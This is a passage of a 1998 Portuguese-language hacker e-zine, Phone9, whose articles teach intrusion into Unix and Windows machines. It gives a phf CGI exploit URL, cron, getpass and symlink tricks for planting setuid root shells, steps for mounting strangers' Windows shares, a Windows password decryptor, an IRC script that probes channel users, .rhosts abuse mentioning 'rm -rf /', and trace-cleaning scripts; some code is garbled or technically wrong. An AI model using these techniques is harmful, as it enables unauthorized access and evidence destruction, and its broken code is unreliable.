[P9] - The Phone9 Communications Inc - [P9]

		         _____                     _____
     	              /  _  \/\  /\__   /\  /\__/  _  \
                    \  ___/ /_/ / _ \/  \/ / _ \__  /
	               \ \ / __  / /  / /\  /  __/ / /
	                \/ \/  \/\___/\/  \/\___/  \/ 
		    [ The Phone9 Communications Systems Inc ]
....												....
Phear Yer Phone, 01 de setembro de 1998. 
edicao no.01| phone9@phone9.org	
[P9] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [P9]

 .............   
 / / \/\/\ / | \ .[ Phone9 - kicking the root down, since 1998|MADE IN .BR].
/ ---/   / \__ / .[ Pagina oficial - http://www.phone9.org                ].
\/ho \/\/e   \/  .[ editor-in-chief - bloodroot|bi0tek - blood@phone9.org ].


	  			    [The Phone9.]
				  [communications.]
 				    [Systems.(c)]
			
			Editor-in-chief: the blood root|bi0tek
			      Co-editor: Phineas Phreak & Shad0w
			         layout: puruca
		    relacoes publicas: Autoridades maximas 'papai e mamae'
	      The man with the plan: Keyser Soze a.k.a Cripple
               network operations: f0rce Str1cker		   
			      webmaster: bloodroot
		              founder: The blood root & the dert
			    grafix dude: aSMa-Lag & bloodroot
		        Askii efektiz: aSMa-Lag , blood root & Puruca 
				    31337: Pr0digy|Offspring| Rage Against...
				 fuck j00: Master Of Shame (0opss!! Shadow)
				    0wn3d: telnet.com.br | elogica.com.br | ucsd.edu

Escritores: kkkk, the blood root, phineas phreak, acid branch, SEkr4t7, dert
primal phear, sp1n freak, X-ploiter, bi0haz4rd, phone'warper, Marcelo Myara,
cybergirl, lord byron, bytetricker, DeAd_Po0l, MaNdRaCk, Phantom Phreak,
Soul Spy, Telephreak, Tom Waits, Rider Bloody, Thunder^t, mem-keeper, pr0c,
Franz Kafka, Marcos Myara, Sy0ckS, aSMa-Lag, x1p, sm0g, cacaio

Sistemas 0peracionais: Linux Red Hat 3.0| no wind0ze
fundo musical: know your enemies - r.a.t.m.|smack my bitch up - pr0digy 
broadcast: Microsoftz.com | puruca.com.br | phone9.org | phuck.org

		     ==[ v1.0 ]==[ .index.archivies ]==
                       (c) 1998, productions.


   1:. .phone9.sp0ts.		 
   2:. Mais nocoes idiotas em setuid
   3:. Tecnicas sado-masoquistas em windows
   4:. Unix hack 0.00, licoes para quem ficou reprovado
   5:. SunOS pre-loaded buggy
   6:. PCS, Personal Communications Systems
   7:. Detonando o cyberpatrol
   8:. re-escrevendo arquivos de sisteam com VBzkripts
   9:. Guia de seguranca em servidores WN-1.17
  10:. backdoor cracker [bc20], tecnicas anais em sistemas linux
  11:. Apache Web Server Guard - by bi0tek
  12:. Phone9.Sekurity advisories... Em caso de panico quebre a janela
  13:. Crackeando sistema No Trust - by X-ploiter
  14:. Sekurity tools!!!
  15:. Exploitacao por meio de CGIs - Parte I
  16:. Apache Web server bugs
  17:. Teste de vulnerabilidade em contas hotmail
  18:. Falhas em extensoes HTML .ASP...
  19:. The Phone9 communications, departaments.
 
	quotas.:
	 O que deus fazia antes de contruir a terra? - Shoo w0ng
	 When!? Today? Tommorow? We were there yesterday - phear 10t3k
	 You can make people buy shit, if you sell it right - Bill Gates
	 Dammit.... Not again!!! - Ruindows95/98 users

		             --> ph0ne9.0rg <--	

phone9@phone9.org - Qualquer reclamacao, artigos, comentarios, mailbombz, 
                    e ate' fuck j00...


[P9]  	                                                            [P9]
 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³1 - .ph0ne9.sp0ts									 ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by Blood Root   ³°°
                                                      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°

   Bem vindo a mais uma edicao da Phone9, espero que voce tenham gostado da
   outra edicao pois nos adoramos faze-la (provavelmente... ;)), nesta nova   
   edicao,  nos iremos  colocar  mais informacao  nao tao seguras  ;) Com a 
   ajuda de varios novos membros e escritores acho que desta vez a zine vai
   de vez com todo o pessoal que nos esta ajudando, acho que devemos chegar
   a algum lugar, talvez...   Pedimos desculpa pela demora que a zine  teve
   para lancar a segunda edicao, pois nos ficamos escrevendo artigos para a
   zine, e se nos podemos dizer assim, nos temos uma vida pessoal tipo sexo
   festas, redes, trabalhos, escolas....  Nos  tambem ficamos desenvolvendo
   ferramentas para o  seu  administrador, e o  seu hacker-guru  preferido,
   entao nao fique nos culpando pelo atraso da zine, pois eu tenho um monte
   de desculpas, iguais as que eu uso com a minha quando chego  atrasado na 
   aula ;)

	- Abducao alienigena, provavelmente um dos mais sequelados foi o 
	  computador do Phineas, coitado...  Veja o codigo abaixo e veja 
	  a verdade sobre axur, phineas e outros...

5b=10
10 popup quit b:popup sleep using ems "c:\alienintruder"
30 b=b-1:delay 1:locate int(rnd(1)*23+1),(int(rnd(1)*70)+1),1
35 if b=1 then let b=10; print "Eu sou um alien axuriano tentando se 
   comunicar com voce"
60 goto 10

	  Compile o programa com Power Basic 3.0 e deixo-o rodando na 
        casa do wizard (M.O.S) ou entao de outro lamer da vida...
	  Sera a invasao alien??? 

PS: Depois da aula sado-masoquista da mae do Phineas, ficamos todos fudidos
    principalmente o Puruca ;)

		Mas agora falando serio, a Phone9 atrasou basicamente por que 
		nos somos meio lerdos, e nos  tivemos uma serie de  problemas
		com o pessoal daqui do rio, principalmente a  telerj, que  so
		nao prendeu o dert, porque ele conseguiu fugir a tempo. Entao
		nos temos uma penca de problemas, desculpas e ainda por  cima
		prisoes??? What fuck is going on with this crazy w0rld, dude!


	Esta edicao da Phone9, vem cheia de surpresas, parece um programa do 
	ratinho ;) E' claro que sem o caso da invasao alien na axur...   Nos
	pegamos varios artigos de varios karinhas estranhos, muito estranhos
	e tacamos tudo junto, fazendo aquela meleca de sempre, os novos P9rs
	escreveram poucos artigos (eu acho que eles ainda nao se acostumaram 
	direito com os nossos habitos... ;) Mas todos contribuiram na medida  
	do possivel para a zine, assim voce pode contemplar diante dos  seus
	olhos a nova edicao da Phone9.
	Um pequenos fuck you de todos nos para o sistema, e um pequeno  fuck
    	off de todos para nos, entao vamos na punheta ate' a ejaculacao pre-
	coce passar!!!

O que um dia ja foi um exercicio intelectual sem nenhuma intencao maliciosa
hoje  em dia e'  mais que o  suficiente para botar  dinheiro no bolso de um 
promotor de merda. Agora pense bem... Antes nos sem intencoes maldosas,  do
que outros com verdadeiros truques terroristas! [MOD]???
Mas por onde devemos começar? Durante  nossos estudos para fazer esta zine, 
organizamos o  conjunto de   conhecimentos de  hackers mais inteligentes de
todos  os  continentes,.   Como resultado,  coletamos   informacoes que  se 
confirmam, se contradizem ou ignoram algumas anotacoes.Se tivessemos cedido
aos nossos anseios iniciais, de simplesmente  contar tudo que  escutavamos,
esta zine seria dez vezes maior do que e' e nos ainda a estariamos fazendo!
Portanto, o que fizemos foi escolher os assuntos que, a nosso ver, oferecem 
a visao mais clara do hack, phreak deste mundo. Ha muita coisa que omitimos 
- embora relutassemos em faze-lo - e muitas  coisas foram  atenuadas, mas o
nosso destino e' o mesmo, e sempre sera o mais proximo  possivel, pois  nem 
tudo que te dizem e' verdade... 
Lembrem-se:  A verdade esta la' fora, aqui dentro so tem mentira... ;)
  
	Agora, stand and relax, e leia a zine com atencao... e aproveite a
	sua insignificancia, enquanto pode... 

      .[bloodroot.
  - blood@phone9.org -
   " I am weirdo!!! "
 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³2 - Mais nocoes idiotas em setuid						       ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by Blood Root   ³°°
                                                      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°

 
	So' para completar a materia da outra edicao sobre suid bug's, eu 
	resolvi lavar a mao, explicando mais um pouquinho sobre setuids no
	unix, e mais tecnicas milaborantes ( olha, que palavra escr0ta )!!!
		 Entao. Que venham los bugados...

Setando programas para setuid:
chmod +x /arquivo

Retirando o atributo setuid do programa:
chmod -x /arquivo

Executando scripts cgi, sobre a uid do dono do processo:
Vamos tomar como exemplo o servidor apache , que armazena os cgi's no direto
rio /home/httpd/cgi-bin/, tambem tomamos como exemplo o phf.cgi. Agora vamos
no /home/ftp/incoming/ ou /tmp e colocamos este script la':
...
#!/bin/csh
#(c) cgi abUser - by b_root
if [ whoami != root ] then
echo "Voce obte-ve root no sistema"
/bin/cp /bin/csh /tmp/rootshell
echo "Execute /tmp/rootshell"
else 
	goto noroot
fi

noroot
/usr/bin/id # Mude o necessario...
/bin/cp /bin/sh /tmp/stupid-b1tch
echo "Execute /tmp/stupid-b1tch"
...
E' claro chmod a+x /tmp/cgiabuser
Agora simplesmente digite este endereco, e deixe que o script faz o resto:
http://jackass.com.br/cgi-bin/phf?Qalias=x%0a/tmp/cgiabuser

Identificando o dono do arquivo:
ls -l nome.do.arquivo
Procure pelo nome na 3 coluna.

Identificando se esta ou nao setuid:
Se quando voce der ls no seu diretorio, voce encontrar algo assim:
...
Permissoes  uid  user     grupo           tam.  mes  dia  hora  nome
----------  ---  ----     -----           ----  ---  ---  ----  ----
-rwxr--s--   1   hacker   hackerusers     1234  Aug  09  00:00  phuck
...
Se --s-- existir, entao o arquivo e' setuid.

Rede de suid:
Esta e' boa, fazendo uma rede de suid...
hack:/home/hack> touch blah
hack:/home/hack> cat blah
#!/bin/sh
#blahblaum
/bin/cp /bin/sh /tmp/phuck
chmod a+x /tmp/phuck
hack:/home/hack> ln -i /home/blah /bin/sh
hack:/home/hack> exit

Agora, qualquer um que executar o /bin/sh ou /home/blah, tera 
automaticamente a sua shell copiada para /tmp/phuck...

Falando Csadamente:
#include 

char *getpass(const char *prompt)
{
	printf("Phone9 Sux, even s4x know this");
	printf("Exemplo de suid shell em C ");
	printf("Voce ja' tem shell!!!\n");
	fflush(stdout);
	system("/bin/cp /bin/sh /bin/suidshell");
	system("chmod +s /bin/suidshell")
}

Kernel ev1l:
Enquanto a kernel esta loudando o /bin/sh , voce coloca outro programa
no lugar daquele. 
%nice -19 suidprog ; ln -s evilprog suidroot

Adicionando comandos no crontab:
Esta e' bem simples, voce adciona esta linha no arquivo do a seguir:
/var/spool/cron/crontab/root :)
...
2 2 * * *  cp /bin/sh /tmp/fuchs 
...
Entao a partir da 2:00 da manha, voce tera root no sistema, executando
/tmp/fuchs
	
The blood root
Mais nocoes estupidas em setuid...
reg(c) 1998, productions

 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³3 - Tecnicas sado-masoquistas no windows				       ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by Primal Phear   ³°°
                                                      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°

	Bom, o intuito deste texto eh acabar de vez com as tecnicas lamers, de
	como se invadir um computador win95, uma vez q este esta conectado na
	internet, este texto inclui tecnicas vivas e ativas, q funcionam hoje
	em dia, e tbm inclui um arquivo explicando por quer algumas tecnicas
	difamadas pela galera nao funcionam..... e mais algumas tecnicas em
	windowsNT e Internet Exploder. Agradecimentos ao pessoal da W3b 
	Hackers e bi0haz4rd em especial, e ReNeGaDe da TDK...

		I.)     filesharing bug
		II.)    Ataque nbtstat
		III.)   ripando password do BIOS
		IV.)    password do windows
		V.)     programa decriptador de passwords
		VI.)    Password do screen saver do windows
		VII.)   Winhack Gold, irc attack para windows95/nt/98
            VIII.)  Verdadeira tecnica de invasao por IP - ReNeGaDe

I.) filesharing bug

	0kay, entao a pouco mais de um ano, um grupo brasileiro, chamado
	BHC (brasilian hackers club), lancou um documento explicando certas
	vulnerabilidades na conexao via rede dial-up na internet, o documento
	fez um tititi na internet toda, funcionava ou nao? Teoriacamente este
	bug jah fazia parte do win3.x na hora q ele comecou a se adaptar para
	a internet.
	Em todo o caso, acredito q todo mundo jah deve ter lido este documento
	quem ainda nao leu ai vai:

:>[ Invasao por IP ]======================================================<:
Invasão por IP - por LiquidByte (BHC)


	Alegria de uns, tristeza de outros, na verdade, aqueles que 
utilizam a rede Dial-Up do Win95 para sua conecção com a internet podem 
estar correndo sérios riscos a não ser, é claro, que assim conectam-se 
propositalmente, com intenções "diversas".
      Utilizar-se de uma conecção PPP do Win95 num provedor de acesso, 
significa estar disponibilizando seu computador a todos os usuário da net. 
Mesmo sem o compartilhamento de arquivos, existem diversas ferramentas que 
permitem a outra pessoa conectar-se ao seu computador caso você esteja 
utilizando esse tipo de conecção.
      Conecte-se à Internet utilizando a rede Dial-Up do Win95. Se o seu 
provedor não disponibilizar uma conecção do tipo PPP, estas dicas não 
funcionarão. Verifique antes, se você possui os drivers clientes para redes 
Microsoft. Caso não estejam instalados, instale-os através do Painel de 
Controle, no ícone Redes.
      Verifique também se o compartilhamento de Arquivos e Impressoras está 
instalado.
      Se estiver, você estará sujeito à que outra pessoa conecte-se ao seu 
computador simplesmente sabendo seu IP.
    Se bem que, para aqueles que já sabem, existem mil maneiras diferentes 
de se "burlar" a fraquinha segurança do Win95. Para você poder encontrar 
outros computadores compartilhados, você deve configurar WINS e LMHOSTS. 
	O WINS é utilizado para localizar os computadores com IP fixo. O 
LMHOSTS, é acionado automaticamente na procura de computadores que possuem 
IP dinâmicos.
	Configurar essas opções é simples. Vá ao Painel de Controle e abra 
Rede. Verifique as propriedades do protocolo TCP/IP. Alí você encontrará a 
opção para ativar a  resolução WINS. No caso de você não conhecer nenhum 
servidor WINS, utilize  204.118.34.6 como primário e 204.118.34.11 como 
secundário. Esses servidores são dos USA, e gratuítos. Caso queira outros 
endereços, utilize um dos mecanismos de busca na Internet. Para configurar 
o LMHOSTS, você precisa criar um arquivo texto simples, utilizando-se atá 
mesmo o Bloco de Notas do Windows. O arquivo criado deve chamar-se LMHOSTS. 
É nesse arquivo que ficarão os endereços de IP e os nomes dos computadores 
que você terá acesso. Para localizar um determinado computador, você digita 
o seu número de IP e a seguir seu NetBios, na mesma linha, separados por um
espaço. Se você executar o programa NESTSTAT, seguido da opção -N, você 
obterá essa lista, com o nome e o IP de seu computador sempre sendo o 
primeiro da lista, seguido das outras máquinas disponíveis, tudo numa 
janela DOS. Através do Explorer você poderá ver os computadores disponíveis 
na rede,dos quais você ainda poderá utilizar os discos mapeando-os, o que 
os tornará unidades de seu computador.
:>[ Invasao por IP ]======================================================<:

	Okay, entao vamos analizar a tecnica q ele explica, ele afirma q se 
	voce adaptar manualmente um computador a sua rede windows95, e este
	utilizar um sistema de compartilhamento mal configurado , permitindo
	q outras pessoas utilizassem a sua impressora e seus arquivos 
	remotamente, como isto eh uma opcao oferecida pela microsoft eh 
	problema do nerd do bill gate$, mas em todo o caso, existe um serio
	problema neste ataque... Nao se eh possivel se adaptar um computador
	remotamente a sua maquina, sem q este esteja em rede direta com voce.
    	Ou seja, ou voce adciona o computador descentemente e nao em uma lista
	de host confiavies (.rhost aka LMHOSTS.SAM), por exemplo o sistema de
	gerenciamento de rede da IBM, NAT.EXE. Eh a ferramenta NET.EXE, por
	meio destes programas voce podera invadir o computador de alguem via
	Internet nao desmerecendo a tecnica do liquidByte, q pode ateh 
	funcionar, mas com os testes q eu ja' havia feito, nunca funcionou.

II) Ataque nbtstat

	Esta tecnica e' bastante conhecida, mas para quem nao sabe....

1o. Passo: Procure um computador em rede, utilizando o windows95 como 
           sistema operacional.
2o. Passo: achado um, passe um port scanner nele e veja se a porta 139 esta
	     aberta.
3o. Passo: Depois digite em um prompt do MS-DOS o seguinte comando:
		'nbtstat -A xxx.xxx.xx.xx' Onde os xxx e' igual ao IP do kara.
	
		Caso tudo corra bem, voce devera ver uma tela assim:

   NetBIOS Remote Machine Name Table
 name                Type        Status
----------------------------------------
^PHONE9        <00> UNIQUE   Registered
PPHEAR         <00> GROUP    Registered
^BLOODR        <03> UNIQUE   Registered
MAC Address = 44-45-53-54-00-00
	
4o. Passo: Lembre-se do primeiro UNIQUE. Anote-o em um papel ;) 
5o. Passo: Edite o arquivo C:\WINDOWS\LMHOSTS.SAM. Coloque dentro do
	     arquivo a seguinte referencia:
		'xxx.xxx.xxx.xx ^PHONE9' e salve o arquivo.
6o. Passo: Digite 'nbtstat -r'. Para reconhecer o novo computador na rede.
7o. Passo: Acesso a iniciar->localizar->computador->nome do UNIQUE.
	E voila, voce devera ver um icone, clique duas vezes sobre ele e 
	pronto voce jah tem aquele computador na sua rede.

III.) ripando password do BIOS

Para quebrar o password do BIOS voce pode se encontrar duas situacoes:

1- Se voce pegar o computador depois que o password foi passado corretamente
use um desses programas:

      amipsw.com       (230b)
      ami.com          (555b)
      aw.com           (1,83k)
      amidecod.com     (1,79k)

2- Se voce pegar o computador desligado ou esquecer o password:

      - Ligue o micro e entre o setup;
      - Anote TODOS os dados em um papel;
      - Desligue e abra a CPU;
      - Ache uma bateria na motherboard e retire-a;
      - Espere uns 20 minutos e recoloque a bateria;
      - Ligue o micro novamente e entre no setup;
      - Re-configure todos os dados que vocˆ anotou. 
( tecnica por AcidMud )

IV.) Password do windows

	O win95 e' tao merda, q chega a dar pena, quando voce entra no windows
	o minimo q o tio bill fez foi clocar 'bem vindo ao windows digite sua
	senha:' Para nos Uebhacker, isto nao e'tao problema, entao voce tenta
	aperta o 'ESC' e derepente voce entra no sistema, sem problema, tbm se
	voce apertar 'crtl+alt+del' voce pode fechar a funcao 'logon' do siste
	ma, assim voce entra sem problema.

		Mas oq muitos raquers nao veem e' q, existe um sistema chamado 
		'DESKTOP LOCKER', do qual somente as pessoas q tem a senha certa
		do login, tem acesso ao verdadeiro desktop do cara, o q nao impe
		de voce verificar alguns registros no sistema e facilmente
		quebrar esta estupida protecao, uma vez tendo acesso ao painel 
		de controles, voces sabem o q devem fazer ;p


V.) Programa decriptador de password do windows

	Esta e' velha e foi tirada do documento alt.2600 FAQ by voyager, mas o
	codigo fonte foi feito por Wayne Hoxie.
/* Este e' o codigo, compile em unix e rode no /DOS/windows/, ou entao 
   mude um pouco o codigo e faca uma adaptacao para o windows */
#include 
#include 
#include 

int xor1(int i,int j)
{
  int x;

  x=i^j;
  return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
  FILE *f;
  int i,l;
  char s[80],s1[80];

  printf("Entre o caminho para o diretorio do windows\n");
  gets(s1);
  sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
  if((f=fopen(s,"rt"))==NULL){
    printf("File Error : %s\n",sys_errlist[errno]);
    exit(0);
  }
  while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
  fclose(f);
  strtok(s1,"=\n");
  strcpy(s,strtok(NULL,"\n"));
  i=strlen(s)-1;
  for(l=i;l>-1;l--)
    s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
  for(l=0;l
main()
{
int c;
while((c=getc(stdin))!=EOF)
{
        c=c^9;
        putc(c,stdout);
}
}

VI.) Password do screen saver

Para retirar o password de Screen Saver do Windows 3.x voce deve editar
o arquivo control.ini, apagando tudo o que tiver na area do password.

Para retirar o password do Screen Saver do WIN95, renomeie todos os arquivos
de extensao .pwl do diretorio do windows. Anote os nomes alterados em um 
papel para eventuais problemas.

Para desligar o screen saver sem ter o password no win 3.1 (ainda nao
foi testado no 3.11 ou no WIN95), aperte ctrl+alt+del e enter varias vezes
que o screen saver sera fechado.

VII.) Winhack Gold, irc attack para windows95/nt/98

	
	Okay, entao voce esta de saco cheio de teardrop? jolt? jont?
	Entao, voce vai adorar esta, o primeiro passo e' pegar o seu
	IrcII ou bitchX ( que alias possui um otimo buffer overflow,
	explicado na nearz07.txt (www.cyberspace.org/~nearz) visite
	agora mesmo!!!! ;)) Entao, que tal invadir o computador dele,
	sem que este perceba? Sem nenhum truque estupido... Just pure
	C code!!! Compile o codigo que vem no .zip "gcc winhack.c -o winhack"

winhack -d 200.233.232.x -o Scan  -b
--- Scaneia os host win95,winNt e Win98 que sao vulneraveis...
winhack 
--- roda o programa
winhack -d 200.255.46.x
--- Define a classe subnetC que voce ira scanear....

-o = Arquivo de Output
-b = roda em background ( & em linux )

Para adciona-los para o irc faca o seguinte:
Coloque no script.ini:
[script]
n0=on 1:DNS: {
n1= set %killaddr $iaddress
n2=run \\ $+ [ %killaddr ]
n3=} 

	Agora rode /dns nick, e este estara testando a vulnerabilidade do 
	cara!!! Agora edit o popup.ini e coloque estas linhas:
n23=Exploit:/dns $$1
n24=ExploitAll:/alldns

Scaneia todos os dns do canal!!!!
---------------------------------
Edita o aliases.ini e coloca isto:
n15=alldns {
n16=set %total $nick($active,0)
n17=:start
n18=dns $nick($active,%total)
n19=dec %total
n20=if %total == 0 { halt }
n21=goto start

	Pronto, agora hack and g0!!!!

Para se proteger....
--------------------

		E' simples, vai no menu iniciar -> configuracoes -> Painel de
		controle -> redes!!! Clique em clientes para rede microsoft,
		caso voce nao tenha este cliente, deixe-o como esta, nao vale
		a pena instala-lo somente para ser hackeado!!! Selecione
		efetuar logon em dominio NT e logo embaixo, efetuar logon e
		restaurar conexoes de redes [blah..blah...blah...!] Da' [ok]!
		E logo depois, clica no botao compartilhamenteo de arquivos e 
		impressoras: E deselecione as opcoes "Desejo que outros usuarios
		tenham acesso aos meus arquivos" e "desejo que outros usuarios
		tenham acesso a(s) minha(s) impressora(s). Ou entao outra versao
		bem mais facil de se resolver o problema...
--- 
ren c:\windows\systems\vnbt.386 vnbt.bak
---
del c:\windows\systems\vnbt.386

Agora que voce esta seguro temporariamente, vamos esperar pelo patche da 
microsoft.... Se existir um!!!!

Os codigos estao no .zip da zine, enjoy!!!!!!!!!!

VIII.) Verdadeira tecnica de invasao por IP - ReNeGaDe

Hi All! Sou ReNeGaDe e na ultima zine TDK nao fiz uma materia interessante
mass nesta me inspirei espero que gostem. Antes de iniciar, quero deixra bem
claro que nao tenho nenhuma responsabilidade do que pode acontecer se
executado o procedimento citado, pois qualquer coisa que venha a acontecer
eh problema todo seu.
Vamos lah primeiro este metodo de invasao pega no Win NT e o 98B tambem. 
Para pegar no Win 95 tem que estar, com as atualizacoes feitas mas nao 
garanto que funcione. Vamos ao que interessa que ganhamos mais!

1o - Metodo de INVASAO:

Basta voce executar esta pequena linha:

net use * \\ip_da_vitima\C$

2o - Como proteger sua maquina:

Se voce nao notou o C$ eh o compartilhamento padrao nos Windows para 
proteger ja sabe nao?!? Basta apenas modificar este compartilhamento!
Agora voce nao sabe modificar o compartilhamento voce eh belo de um FDP mais
tudo bem vai no Internet Explorer botao direito do mouse escolhe ah opcao
compartilhamento e PRONTO! Modifica.

3o - Uma observacao bem interessante:

Para que voce possa invadir e ser invadido seu computador tem que esta confi
gurado para ser usado em REDE, quer dizer nos Win NT e 98B eles concerteza 
ja estao no 95 pode nao pegar porque simplesmente muitos deles nao estao 
configurados para ser usados em REDE. Caso nao pegando no Win 95 com a REDE
instalada feitas atualizacoes e etc. Entao instala o NT porque pelo menos e
um windows que dah pro gasto.


          Eh isso ae pessoal aqui se encerra mais uma materia da TDK!

        Se  tiverem interesse  em  tirar  duvidas ou  apresentar  novas
  ideias, aqui estah o meu email. Mais sem babozeiras hein pessoal vamos
  ter um bom senso pois nao sou desocupado.

         cya l8er!

                             ReNeGaDe@DeathKnights.com

NOTA(feita por Cacaio): Bem, lembremos que isso so' funciona se voce estiver
no win. Infelizmente nao da pra fazer o mesmo em unixes e sabores, mas tbm
em unixes nao se e' vulneravel.
           -- TEXTO POR ReNeGaDe - renegade@deathknights.com --
----------------------------------------------------------------------------
Primal Phear - Windows Hacker Guide
(c) - phear@phone9.org
---[ Com a ajuda de.... ]---
8x8> the blood r0o7 -> how long? not long, couse no lie can stand soo long
reg - (c) 1998, productions
[talk to my lawyer!!!!]
 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³5 - Unix hack 0.00, licoes para quem ficou reprovado...                ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by bloodroot  ³°°
                                                         ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°

The Unix hackers guide 0.00
by The blood root

[00] - Prefacio
[01] - Hackeando estupidos .rlogin
[02] - ls backdoor



[00] - Prefacio:

	Badab0m, esta vai para aqueles q querem saber mais sobre dicas 
	estupidas de como se hackear um sistema unix, eu pretendo lancar mais 
	dicas estupidas para pessoas q perdem o tempo lendo esta merda.... 
	Entao como esta eh a primeira edicao, eu acho melhor comecar pelo 
	principio basico da maioria dos sistemas, eh claro quando existe 
	algum admin tao burro a ponto de deixar o .rlogin funcionando no 
	sistema. Depois vem mais uma tecnica, esta jah eh mais simples, 
	ls backdoor, e' muito pouco tecnicas, mas se bem feita, pega o sistema
	inteiro de pernas pro ar, e provavelmente este estara sem calcinhas...
	tecnicas maneiras de como realmente fazer alguns admins ficarem pasmos
	com a sua falta de experiencia em tipos de ataques, entao vamos para o
	guia mais lamer sobre como hackear unix.... ;p 
	
		"What kevin mitnick is about is creating a mythology of a"
		"hacker threat and using that threat to expend the government's"
		"statutory authority and increase it's wiretappin' capabillity"
		"Find me an induvidual who was hurt. Find me a company that was"
		"hurt. The most you can say is that some companies had to close" 
		"security holes......... and arguably they would have had to do"
		"anyway" - Mike Godwin, staff do Eletronic Freedom Foundation.

	entao, vamos comecar com este manual, antes q eu perca meu tempo com
	outra coisa....
						- regards, 
						The blood root - blood@puruca.com.br


[01] - Hackeando estupidos .rlogin
	
	Okay, entao voce passou 30 dias procurando um servidor vulneravel a
	'statd', e de repente bewm.... achou um, digamos pentagon.gov (uauh?)
	pena q depois dos rackers enfercores eles fecharam a falha de 
	seguranca. (DROGA EU PODIA TER IDO NA TV POR CAUSA DE UM ESTUPIDO BUG)
	Bom, deixa para lah.... eu tento agora o umount bug, otimo, achei um
	logo de cara, e quem diria SOL (Stupidos On-line). Agora, eu consegui
	root no sistema deles, mas infelismente eu ia sair para o fun club em
	mais uma 2600 meeting's , entao eu vou tentar colocar um pequena 
	backdoor lah, e de repente, dentro do /home/silsantos/, eu acho um 
	arquivo .rhost para a concorrencia globo.com.br, sera uma conspiracao?
	Acredito q nao, provavelmente alguem deve ter deixado aquilo ali, do
	jeito q aquele merda do silvio santos eh tao burro, ele nem saberia
	como usar um ruindows (arrrrrggggggg...... ;)). O caso eh q dentro do
	/home/silsantos/ eu acho um .rhosts, bom para mim,  vou chegar na hora
	pra 2600 meeting.

	Entao, lah vamos nos, primeiro precisamos saber o q eh um arquivo 
	.rhost?!?! Entao.... Explicacao oficial: Arquivo permite conexao a 
	outros sistemas pre-determinados no arquivo, assim ao se conectar por
	rlogin, ele nao requer password, mas vez q somente o username eh o 
	suficiente. Explicacao nao-oficial: Hackin'toolz, serio, sem 
	brincadeira, imagina voce tem um arquivo q permite voce se conectar a
	um computador sem qualquer password, somente utilizando como seguranca
	apenas um username, q eh especificado no nome do diretorio dele 
	(/home/user) , ou entao no /etc/passwd, e em varios outros arquivos do
	sistema, seja como for, vamos exploitar este coitado do .rhost .

		Okay, entao para se exploitar arquivos .rhosts, eh bem simples,
		primeiro, eh necessario se saber para qual sistema o .rhost esta
		setado, um simples cat /home/blood/.rhost pode resolver isto,mas
		depois disto basta digitar esta linha de comando na sua shell:
		rlogin -l blood blood.phone9.org e pronto voce estah dentro do
		sistema, considerando q:
		
		rlogin = comando necessita dos daemons rlogind e rshd (as vezes)
		-l     = Argumento necessario para especificar a opcao -login no
			   comando todo....
		blood  = username, mude isto pelo username do cara q tem o 
			   .rhost no sistema dele.
		blood.phone9.org = Host do qual voce tem acesso .rlogin no 
					 sistema.
		/bin/sh -i = Comando para ser executado dentro do servidor, por
				 mudar desde /bin/sh para rm -rf / (nasty, ham?)
		
	Limpando o caminho:
	-------- - --------

		Otimo, como voce jah deve ter imaginado como eu posso fazer um
		"ataque" .rhost sem deixar vestijos?!?!?! Bom, abaixo vao 
		algumas tecnicas q podem aliviar um pouco o seu caminho, 
		ajudando a sua sobrevivencia no sistema:

			1. Este limpa o arquivo .rhost logo depois de voce se
			   logar no sistema:
		----------------[ .rhost lixeiro ]--------------
		#!/bin/sh
		#(c) the blood root
		$PATH= #coloque o diretorio do lamer
